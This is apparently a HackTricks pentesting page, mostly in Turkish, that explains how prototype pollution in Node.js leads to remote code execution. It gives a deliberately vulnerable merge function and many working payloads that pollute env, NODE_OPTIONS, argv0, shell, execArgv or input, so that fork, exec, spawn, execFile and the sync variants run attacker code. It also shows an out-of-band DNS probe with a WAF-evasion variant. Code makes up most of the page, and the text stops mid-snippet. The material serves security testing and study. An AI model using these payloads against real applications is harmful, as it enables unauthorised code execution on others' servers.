Prototype Pollution to RCE

PreviousExpress Prototype Pollution Gadgets NextJava JSF ViewState (.faces) Deserialization

Last updated 4 months ago

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Vulnerable Code

Gerçek bir JS'in aşağıdaki gibi bir kod kullandığını hayal edin:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE env değişkenleri aracılığıyla

PP2RCE, Prototype Pollution to RCE (Uzak Kod Çalıştırma) anlamına gelir.

Bu yazıda belirtildiğine göre, bir işlem başlatıldığında child_process'ten bazı yöntemlerle (örneğin fork veya spawn gibi) normalizeSpawnArguments yöntemini çağırır; bu, yeni env değişkenleri oluşturmak için bir prototype pollution gadget'ıdır:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.

Poisoning `proto`

Not edin ki normalizeSpawnArguments fonksiyonunun child_process kütüphanesindeki çalışma şekli nedeniyle, bir şeyin çağrılması durumunda yeni bir env değişkeni ayarlamak için sadece herhangi bir şeyi kirletmek yeterlidir. Örneğin, eğer __proto__.avar="valuevar" yaparsanız, süreç avar adında ve değeri valuevar olan bir değişkenle başlatılacaktır.

Ancak, env değişkeninin ilk olması için .env niteliğini kirletmek gerekir ve (sadece bazı yöntemlerde) o değişken ilk olacaktır (saldırıya izin verir).

Bu yüzden NODE_OPTIONS aşağıdaki saldırıda .env içinde değildir.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

`constructor.prototype` Zehirleme

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE env değişkenleri + cmdline aracılığıyla

Öncekiyle benzer bir yük, bu yazıda** önerilmiştir.** Ana farklar şunlardır:

Nodejs payload'ını /proc/self/environ dosyasında saklamak yerine, /proc/self/cmdline içindeki argv0'da saklar.
Ardından, NODE_OPTIONS aracılığıyla /proc/self/environ dosyasını gerektirmek yerine, /proc/self/cmdline dosyasını gerektirir.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Etkileşimi

Aşağıdaki yükleri kullanarak daha önce tartıştığımız NODE_OPTIONS ortam değişkenini kötüye kullanmak ve bunun bir DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ya da WAF'ların alan adı istemesini önlemek için:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process fonksiyonları

Bu bölümde child_process'ten her bir fonksiyonu analiz edeceğiz ve bu fonksiyonun kodu çalıştırmasını sağlamak için herhangi bir teknik kullanıp kullanamayacağımıza bakacağız:

exec istismarı

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile istismar

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`**'ın çalışması için **mutlaka node**'u çalıştırması **GEREKİR**.\
Eğer **node**'u çalıştırmıyorsa, neyi **çalıştırdığını** **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.

**Diğer** teknikler bu gereksinim olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılanı kirletemezsiniz).

</details>

<details>

<summary><code>fork</code> exploitation</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn istismar

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

execFileSync istismar

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync istismar

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p